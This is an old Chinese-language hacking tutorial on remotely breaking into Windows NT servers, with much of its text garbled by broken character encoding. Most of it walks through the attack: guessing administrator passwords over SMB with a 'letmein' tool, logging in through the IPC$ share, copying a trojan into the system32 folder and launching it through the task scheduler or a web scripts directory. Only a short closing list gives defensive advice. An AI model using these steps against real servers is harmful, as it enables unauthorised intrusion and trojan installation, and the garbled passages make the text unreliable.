远程入侵Windows NT
?牐犗衷谖颐抢纯纯慈绾卧抖巳肭諻indows NT主机！
#1?牐牴セ鞑街瑁?
?牐犑紫龋颐且セ髟抖四勘甑比坏弥蓝苑降肐P地址了，你可以使用各种扫描工具查找目标机器的IP地址，这里因为重点不是它所以就不多说了。
?牐犜谌范üセ髂勘旰螅褂肳indows NT自带的命令取得远端目标的用户列表资源，分析取得的列表资源，尝试取得管理员权限。letmein命令用于通过指定的密码远程登录服务器，并读取服务器上的用户信息，配以不同的参数，可以获取相应的控制权。例如：
?牐爈etmein file://x.x.x.x/ -all -g mypwd（将查看\\x.x.x.x上的所有用户账户列表，并试图通过参数后面跟随的密码取得管理员的控制权）
?牐爈etmein file://x.x.x.x/ -admin -g mypwd
?牐牐?可以查看\\x.x.x.x上管理员的账户列表，并试图通过参数后面跟随的密码取得管理员的控制权。）
?牐爈etmein file://x.x.x.x/ -all -d mypwd
?牐牐ㄊ酝纪ü问竺娓娴拿苈肴〉糜没Э刂迫ǎ⑾允綷\x.x.x.x上所有用户名列表。）
?牐牭笔褂胠etmein命令获取相关管理员权限后，使用Windows提供的标准命令连接远程资源并将木马拷入远程目标，你可以使用的木马是很多的，这里不作介绍了，具体的命令是：
?牐爊et use \\x.x.x.x\ipc$ "pass"/user:"user" （利用刚刚猜解到的用户名和密码登录\\x.x.x.x主机）
?牐燾opy x:\netserver.exe \\x.x.x.x\admin$\system32（拷贝本地木马程序netserver.exe到远端\\x.x.x.x的管理员目录下）
?牐犜偈褂煤戏╓indows NT命令远程启动刚才考入的木马程序：
?牐爊etsvc \\x.x.x.x schedule /start at \\x.x.x.x hh:mm netserver.exe/port:yourport /nomsg
?牐犜谏厦娴拿钪欣昧薟indows NT的任务计划管理，在指定的时间和指定的端口运行木马程序。
?牐犃硪恢址椒ǎ?
?牐牻枰诵械哪韭砘蚱渌芍葱谐绦駽opy到远端服务器的www可执行目录下（ 如cgi-bin或scripts等），然后在浏览器键入远端连接url来运行木马程序，如：http://x.x.x.x/scripts/ntsrver.exe/port:yourport或http://x.x.x.x/cgi-gin/ntsrver.exe/port:yourport等。
?牐牭酱耍么稳肭挚梢运愠晒α耍冻套试匆言谧约旱目刂葡隆?
#1?牐牴セ髟恚?
?牐牸虻シ治鲆幌抡獯喂セ鞯墓蹋荒芽闯觯丶街枋抢胠etmein取得admin权限，但是很不幸，就目前部分的采用Windows NT系统平台服务器而言，所采用的网络管理密码，利用破解工具仅仅多花几分钟就能破解掉。同时，通过对某些大的公共平台服务器进行测试扫描的结果，使用Windows NT系统平台的服务器，其管理密码被letmein猜中率有75%以上。而且在这些被进入的机器上，SMB（文件和打印共享）又都是运行在TCP/IP协议上，而且只有部分服务器有配备火墙，一般没有封闭对外的137∽139端口，从而给网络入侵留下了后门。
#1?牐牱婪洞胧?：
?牐?1.管理人员应该及时检查日记和监控服务的运行，定时对文件系统的权限受托关系进行检查。
?牐?2.对密码的选择有一个好的习惯。一个好的密码必须包括下面的内容：好记忆、不易被猜到、易输入，至于怎么才能作到，很多文章都有介绍的，这里就不多讲。
?牐?3.适当配置NT网络服务，特别是TCP/IP协议，尽量不要在对外的服务上绑定共享服务。
?牐?4.防火墙的配置要合理，屏蔽一切不需要的服务端口，像在TCP/IP上的137∽139端口，开这些端口只会使你的系统处于危险的处境，如果必须要在远程使用这些端口的服务，建议使用其他软件来代替，而不是单纯使用系统内定的服务。